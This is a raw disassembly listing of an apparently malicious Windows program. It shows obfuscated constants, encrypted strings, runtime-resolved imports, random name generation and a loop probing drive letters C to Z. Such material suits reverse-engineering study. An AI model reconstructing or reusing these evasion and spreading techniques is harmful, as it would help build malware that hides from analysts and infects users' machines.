		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word_5510C4
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_44573F
		push	offset word_551746
		call	sub_43CAF7
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50E928
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 18h
		movsx	eax, word_5510CC
		add	eax, dword_5511E4
		sub	eax, 5
		mov	[ebp+var_60ED4], eax
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	offset dword_552A48
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_55122C
		add	eax, dword_551224
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_4453A0
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	eax, dword_551154
		add	eax, dword_551174
		sub	eax, 0Fh
		cmp	ebx, eax
		jnz	loc_445394
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_43DBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	ds:dword_54FF34
		mov	eax, dword_551248
		sub	eax, 4
		mov	[ebp+var_40E9C], eax
		jmp	short loc_444F9B
; ---------------------------------------------------------------------------


loc_444F51:				; CODE XREF: sub_44496E+639j
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, dword_5511AC
		add	edx, 0Bh
		cmp	eax, edx
		jz	short loc_444F7F
		mov	edx, dword_551134
		add	edx, 4
		add	edx, dword_551170
		cmp	eax, edx
		jnz	short loc_444F95


loc_444F7F:				; CODE XREF: sub_44496E+5FCj
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_55115C
		sub	edx, 4
		mov	[ebp+eax+var_60E9F], dl


loc_444F95:				; CODE XREF: sub_44496E+60Fj
		inc	[ebp+var_40E9C]


loc_444F9B:				; CODE XREF: sub_44496E+5E1j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_444F51
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_4475D4
		movsx	eax, word_55109C
		add	eax, dword_551124
		sub	eax, 8
		mov	[ebp+var_40E9C], eax


loc_444FD2:				; CODE XREF: sub_44496E+7A5j
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_444FE2:				; CODE XREF: sub_44496E+679j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444FE2
		mov	[ebp+var_60EA8], eax
		mov	edx, dword_55123C
		mov	ecx, edx
		add	ecx, edx
		cmp	eax, ecx
		jz	short loc_445015
		movsx	edx, word_551218
		mov	ecx, dword_5510E0
		lea	edx, [edx+ecx+0C2h]
		cmp	eax, edx
		jbe	short loc_44501A


loc_445015:				; CODE XREF: sub_44496E+68Dj
		jmp	loc_4450EA
; ---------------------------------------------------------------------------


loc_44501A:				; CODE XREF: sub_44496E+6A5j
		movsx	eax, word_551244
		sub	eax, 7
		mov	[ebp+var_60EA4], eax
		jmp	short loc_445054
; ---------------------------------------------------------------------------


loc_44502C:				; CODE XREF: sub_44496E+6F2j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		movsx	edx, word_5510FC
		add	edx, 1Eh
		cmp	eax, edx
		jnz	short loc_445062
		inc	[ebp+var_60EA4]


loc_445054:				; CODE XREF: sub_44496E+6BCj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_44502C


loc_445062:				; CODE XREF: sub_44496E+6DEj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_4450EA
		movsx	eax, word_5510FC
		dec	eax
		push	eax
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_43FE22
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, dword_551180
		add	eax, 0FFF7h
		add	eax, dword_551234
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_4450EA
		push	offset byte_551741
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	ds:dword_44802C
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	ds:dword_44802C
		add	esp, 14h


loc_4450EA:				; CODE XREF: sub_44496E:loc_445015j
					; sub_44496E+700j ...
		mov	eax, [ebp+var_60EA8]
		mov	edx, dword_55119C
		add	edx, dword_5511C0
		sub	edx, 4
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_444FD2
		mov	eax, dword_55120C
		sub	eax, 4
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_445130:				; CODE XREF: sub_44496E+7C7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_445130
		mov	[ebp+var_60EA8], eax
		mov	eax, dword_5511C0
		sub	eax, 1
		mov	[ebp+var_40E9C], eax
		jmp	loc_445363
; ---------------------------------------------------------------------------


loc_445150:				; CODE XREF: sub_44496E+A01j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_551134
		add	edx, 15h
		add	edx, dword_551098
		cmp	eax, edx
		jz	short loc_445178
		and	[ebp+var_60EAC], 0


loc_445178:				; CODE XREF: sub_44496E+801j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_5511DC
		add	edx, 20h
		cmp	eax, edx
		jnz	loc_445309
		mov	eax, dword_551184
		sub	eax, 4
		cmp	[ebp+var_40E9C], eax
		jbe	loc_44525B
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word_551128
		add	edx, dword_551158
		sub	edx, 7
		sub	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_55114C
		add	edx, 1Eh
		cmp	eax, edx
		jle	short loc_4451F1
		mov	edx, dword_5510E8
		add	edx, 2Fh
		cmp	eax, edx
		jl	short loc_445251


loc_4451F1:				; CODE XREF: sub_44496E+874j
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_551164
		mov	ecx, dword_5511AC
		lea	edx, [edx+ecx+36h]
		cmp	eax, edx
		jle	short loc_445222
		movsx	edx, word_5511CC
		mov	ecx, dword_5511A0
		lea	edx, [edx+ecx+30h]
		cmp	eax, edx
		jl	short loc_445251


loc_445222:				; CODE XREF: sub_44496E+89Dj
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_551194
		mov	ecx, dword_5510E0
		lea	edx, [edx+ecx+73h]
		cmp	eax, edx
		jle	short loc_44525B
		mov	edx, dword_5510AC
		add	edx, 78h
		add	edx, dword_5511DC
		cmp	eax, edx
		jge	short loc_44525B


loc_445251:				; CODE XREF: sub_44496E+881j
					; sub_44496E+8B2j
		mov	[ebp+var_60EAC], 1


loc_44525B:				; CODE XREF: sub_44496E+837j
					; sub_44496E+8CEj ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_445309
		mov	eax, [ebp+var_40E9C]
		mov	edx, dword_551098
		sub	edx, 8
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_5511F4
		add	edx, 15h
		add	edx, dword_551204
		cmp	eax, edx
		jle	short loc_4452BB
		mov	edx, dword_551188
		add	edx, 29h
		movsx	ecx, word_551094
		add	edx, ecx
		cmp	eax, edx
		jl	short loc_4452FF


loc_4452BB:				; CODE XREF: sub_44496E+935j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_55121C
		add	edx, 35h
		cmp	eax, edx
		jle	short loc_4452DC
		mov	edx, dword_5511F8
		add	edx, 3Eh
		cmp	eax, edx
		jl	short loc_4452FF


loc_4452DC:				; CODE XREF: sub_44496E+95Fj
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_551138
		add	edx, 77h
		cmp	eax, edx
		jle	short loc_445309
		movsx	edx, word_5510CC
		add	edx, 7Eh
		cmp	eax, edx
		jge	short loc_445309


loc_4452FF:				; CODE XREF: sub_44496E+94Bj
					; sub_44496E+96Cj
		mov	[ebp+var_60EAC], 1


loc_445309:				; CODE XREF: sub_44496E+823j
					; sub_44496E+8F9j ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_445332
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_445332:				; CODE XREF: sub_44496E+9A2j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, dword_5510D8
		add	edx, 18h
		add	edx, dword_55110C
		cmp	eax, edx
		jnz	short loc_44535D
		mov	[ebp+var_60EAC], 1


loc_44535D:				; CODE XREF: sub_44496E+9E3j
		inc	[ebp+var_40E9C]


loc_445363:				; CODE XREF: sub_44496E+7DDj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_445150
		mov	eax, [ebp+var_60EB4]
		mov	edx, dword_5511B0
		movsx	ecx, word_55109C
		add	edx, ecx
		sub	edx, 0Dh
		mov	[ebp+eax+var_50E9B], dl


loc_445394:				; CODE XREF: sub_44496E+5A3j
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4453A0:				; CODE XREF: sub_44496E+575j
		movsx	eax, word_55113C
		sub	eax, 9
		mov	[ebp+var_60EB0], eax
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	offset dword_552A58
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551204
		add	eax, dword_551180
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4456D2
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		mov	eax, dword_551124
		movsx	edx, word_551128
		add	eax, edx
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_4456C6
		mov	eax, dword_551234
		sub	eax, 8
		mov	[ebp+var_50EA0], eax
		jmp	loc_4456B4
; ---------------------------------------------------------------------------


loc_445425:				; CODE XREF: sub_44496E+D52j
		mov	eax, dword_551160
		add	eax, dword_551174
		sub	eax, 0Eh
		push	eax
		call	ds:dword_50E924
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50EA0]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70F0C]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		movsx	eax, word_551210
		movsx	edx, word_5510CC
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4456AE
		movsx	eax, word_551094
		add	eax, dword_5510A0
		sub	eax, 5
		mov	[ebp+var_70EF4], eax
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	offset dword_552A48
		mov	eax, [ebp+var_70F0C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_5511A8
		add	eax, dword_551220
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4456A2
		lea	eax, [ebp+var_60EF0]
		push	eax
		movsx	eax, word_551128
		sub	eax, 5
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_445524
		cmp	[ebp+var_60EF0], 8
		jz	short loc_445529


loc_445524:				; CODE XREF: sub_44496E+BAAj
		jmp	loc_445696
; ---------------------------------------------------------------------------


loc_445529:				; CODE XREF: sub_44496E+BB4j
		mov	eax, dword_55120C
		add	eax, dword_55118C
		movsx	edx, word_55113C
		sub	edx, 9
		mov	byte ptr [ebp+eax+var_70EF4], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43DBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F10], edi
		push	[ebp+var_60EE8]
		call	ds:dword_54FF34
		mov	eax, dword_551134
		movsx	edx, word_551094
		movsx	edx, byte ptr [ebp+edx+var_70EF4+3]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 4
		cmp	edx, eax
		jz	loc_445696
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_43A324
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, dword_551120
		sub	eax, 8
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_551220
		add	eax, dword_55124C
		movsx	edx, word_551118
		sub	edx, 8
		mov	[ebp+eax+var_71F16], dl
		or	ebx, ebx
		jnz	short loc_445621
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_445621
		lea	eax, [ebp+var_71F0B]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_43DBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F14], edi
		push	[ebp+var_60EE8]
		call	ds:dword_54FF34


loc_445621:				; CODE XREF: sub_44496E+C7Dj
					; sub_44496E+C87j
		push	offset byte_551739
		call	sub_43CAF7
		push	[ebp+var_50EA0]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50E928
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		lea	eax, [ebp+var_71F0B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		push	offset dword_551734
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 34h


loc_445696:				; CODE XREF: sub_44496E:loc_445524j
					; sub_44496E+C20j
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4456A2:				; CODE XREF: sub_44496E+B7Cj
		mov	eax, [ebp+var_70F0C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4456AE:				; CODE XREF: sub_44496E+B30j
		inc	[ebp+var_50EA0]


loc_4456B4:				; CODE XREF: sub_44496E+AB2j
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp+var_50EA0], eax
		jb	loc_445425


loc_4456C6:				; CODE XREF: sub_44496E+A9Ej
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4456D2:				; CODE XREF: sub_44496E+A70j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, dword_55112C
		add	edx, dword_551180
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_44573F
		push	offset word_55172E
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		push	offset byte_551729
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		add	esp, 20h


loc_44573F:				; CODE XREF: sub_44496E+4F6j
					; sub_44496E+D88j
		inc	[ebp+var_30E50]


loc_445745:				; CODE XREF: sub_44496E+47Aj
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_444DED


loc_445757:				; CODE XREF: sub_44496E+2FDj
					; sub_44496E+385j ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_444C0E
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_50E91C
		pop	ecx
		push	[ebp+var_30E48]
		call	ds:dword_54FF34
		push	[ebp+var_30E44]
		call	ds:dword_54FF34


loc_445795:				; CODE XREF: sub_44496E+1FFj
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4457A1:				; CODE XREF: sub_44496E+1D4j
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4457AD:				; CODE XREF: sub_44496E+1A9j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4457B9:				; CODE XREF: sub_44496E+CAj
					; sub_44496E:loc_444A8Cj ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4457C5:				; CODE XREF: sub_44496E+51j
					; sub_44496E+9Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44496E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4457CA	proc near		; DATA XREF: .data:005512F0o
		push	ebp
		mov	ebp, esp
		push	offset dword_44B5B8
		call	ds:dword_48B9F8
		mov	eax, ds:dword_44B5B8
		pop	ebp
		retn	4
sub_4457CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4457E1	proc near		; CODE XREF: sub_43D535+18p
					; sub_441BFD+10p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_54FB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_445829
		cmp	[ebp+arg_4], 0
		jz	short loc_445825
		mov	eax, [ebp+arg_4]
		mov	edx, dword_551220
		add	edx, dword_55119C
		sub	edx, 6
		mov	[eax], edx


loc_445825:				; CODE XREF: sub_4457E1+2Ej
		xor	eax, eax
		jmp	short loc_445878
; ---------------------------------------------------------------------------


loc_445829:				; CODE XREF: sub_4457E1+28j
		mov	eax, dword_5511B4
		sub	eax, 4
		push	eax
		push	edi
		call	ds:dword_4CE910
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	ds:dword_48B9EC
		mov	ebx, eax
		push	dword_5511FC
		cmp	[ebp+arg_4], 0
		jz	short loc_44585D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_445863
; ---------------------------------------------------------------------------


loc_44585D:				; CODE XREF: sub_4457E1+72j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_445863:				; CODE XREF: sub_4457E1+7Aj
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	ds:dword_448034
		push	edi
		call	ds:dword_4CD948
		mov	eax, ebx


loc_445878:				; CODE XREF: sub_4457E1+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4457E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_44587D	proc near		; DATA XREF: .data:005512B8o
		mov	eax, 80004001h
		retn	10h
sub_44587D	endp


; =============== S U B	R O U T	I N E =======================================



sub_445885	proc near		; CODE XREF: sub_446ED7+1Bp
		push	edi
		push	offset byte_551719
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551278, eax
		mov	eax, dword_551168
		add	eax, dword_55117C
		sub	eax, 9
		cmp	dword_551278, eax
		jnz	short loc_4458CA
		push	offset byte_551709
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551278, eax


loc_4458CA:				; CODE XREF: sub_445885+2Cj
		push	offset dword_5516EC
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_48C1E4, eax
		push	offset byte_5516CF
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_44B1A8, eax
		push	offset asc_5516C0 ; "\v"
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_4CE904, eax
		push	offset byte_5516A7
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_4CD81C, eax
		push	offset dword_55168C
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_448050, eax
		push	offset byte_551673
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_448020, eax
		push	offset byte_55165F
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_54E968, eax
		push	offset byte_551649
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_48B9DC, eax
		push	offset byte_55162B
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_48B9E8, eax
		push	offset word_55161A
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_44B59C, eax
		push	offset word_55160A
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_44B5A0, eax
		push	offset off_5515EA
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_449008, eax
		push	offset byte_5515D3
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_4CE90C, eax
		push	offset byte_5515BF
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		mov	ds:dword_44B080, eax
		push	offset byte_5515AB
		call	sub_43CAF7
		push	eax
		call	sub_445D7B
		add	esp, 78h
		mov	ds:dword_44804C, eax
		pop	edi
		retn
sub_445885	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A0A	proc near		; CODE XREF: sub_4428C5+4Cp
					; sub_4428C5+61p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_55125C
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_445A0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A22	proc near		; CODE XREF: sub_445E8D+9Cp
					; sub_445E8D+B4p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_445A52
		add	[ebp+arg_0], 1


loc_445A52:				; CODE XREF: sub_445A22+2Aj
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_445A6D
		cmp	al, 79h
		jz	short loc_445A6D
		cmp	al, 75h
		jz	short loc_445A6D
		cmp	al, 69h
		jz	short loc_445A6D
		cmp	al, 6Fh
		jz	short loc_445A6D
		cmp	al, 61h
		jnz	short loc_445A71


loc_445A6D:				; CODE XREF: sub_445A22+35j
					; sub_445A22+39j ...
		add	[ebp+arg_0], 1


loc_445A71:				; CODE XREF: sub_445A22+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_445A22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445A79	proc near		; CODE XREF: sub_43A324+481p
					; sub_43A324+49Dp

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4475B4
		push	esi
		push	edi
		push	5
		push	[ebp+arg_0]
		call	ds:dword_448004
		mov	edi, eax


loc_445A95:				; CODE XREF: sub_445A79+7Bj
		mov	eax, dword_55120C
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_445AA5
		xor	eax, eax
		jmp	short loc_445AF6
; ---------------------------------------------------------------------------


loc_445AA5:				; CODE XREF: sub_445A79+26j
		push	0FFFh
		lea	eax, [ebp+var_FFF]
		push	eax
		push	edi
		call	ds:dword_449FD0
		movsx	eax, word_551118
		sub	eax, 7
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_43FE22
		add	esp, 0Ch
		mov	esi, dword_5510E4
		add	esi, 0FFFAh
		cmp	eax, esi
		jz	short loc_445AE9
		mov	eax, edi
		jmp	short loc_445AF6
; ---------------------------------------------------------------------------


loc_445AE9:				; CODE XREF: sub_445A79+6Aj
		push	2
		push	edi
		call	ds:dword_448004
		mov	edi, eax
		jmp	short loc_445A95
; ---------------------------------------------------------------------------


loc_445AF6:				; CODE XREF: sub_445A79+2Aj
					; sub_445A79+6Ej
		pop	edi
		pop	esi
		leave
		retn
sub_445A79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445AFA	proc near		; CODE XREF: sub_43D0C6+AEp
					; sub_43D71B+45p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_551120
		mov	esi, eax
		add	esi, dword_5510D8
		sub	esi, 0Eh
		movsx	edi, word_5511C4
		sub	edi, 8
		jmp	short loc_445B6A
; ---------------------------------------------------------------------------


loc_445B20:				; CODE XREF: sub_445AFA+7Cj
		movzx	edx, word ptr [ebx+edi*2]
		mov	ecx, [ebp+arg_4]
		movzx	ecx, word ptr [ecx+edi*2]
		add	edx, ecx
		add	edx, esi
		mov	[ebp+var_4], edx
		mov	eax, dword_5511AC
		add	eax, 0FFFDh
		cmp	edx, eax
		jbe	short loc_445B59
		movsx	esi, word_5511CC
		sub	esi, 8
		mov	eax, dword_551180
		add	eax, 10000h
		sub	[ebp+var_4], eax
		jmp	short loc_445B62
; ---------------------------------------------------------------------------


loc_445B59:				; CODE XREF: sub_445AFA+44j
		mov	esi, dword_551170
		sub	esi, 4


loc_445B62:				; CODE XREF: sub_445AFA+5Dj
		mov	edx, [ebp+var_4]
		mov	[ebx+edi*2], dx
		inc	edi


loc_445B6A:				; CODE XREF: sub_445AFA+24j
		movsx	eax, word_5511A4
		add	eax, 1Ah
		cmp	edi, eax
		jb	short loc_445B20
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_445AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_445B7F	proc near		; DATA XREF: sub_446ED7:loc_447202o

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_445BA4
; ---------------------------------------------------------------------------


loc_445B8F:				; CODE XREF: sub_445B7F+28j
		mov	ebx, dword_5510E8
		add	ebx, dword_5511DC
		dec	ebx
		mov	ds:dword_54FB20[esi*4],	ebx
		inc	esi


loc_445BA4:				; CODE XREF: sub_445B7F+Ej
		cmp	esi, 5Ah
		jbe	short loc_445B8F


loc_445BA9:				; CODE XREF: sub_445B7F+1F0j
		mov	edi, 43h
		jmp	loc_445D56
; ---------------------------------------------------------------------------


loc_445BB3:				; CODE XREF: sub_445B7F+1DAj
		push	offset byte_5515A3
		call	sub_43CAF7
		push	edi
		push	eax
		lea	ebx, [ebp+var_E]
		push	ebx
		call	ds:dword_50E928
		mov	eax, dword_551100
		add	eax, dword_5511BC
		sub	eax, 0Fh
		push	eax
		call	ds:dword_50E924
		add	esp, 14h
		mov	ebx, dword_55122C
		sub	ebx, 7
		cmp	ds:dword_54FB20[edi*4],	ebx
		jz	short loc_445C38
		movsx	eax, word_551118
		sub	eax, 8
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ds:dword_54FB20[edi*4]
		call	ds:dword_54E94C
		cmp	[ebp+var_14], 103h
		jz	short loc_445C38
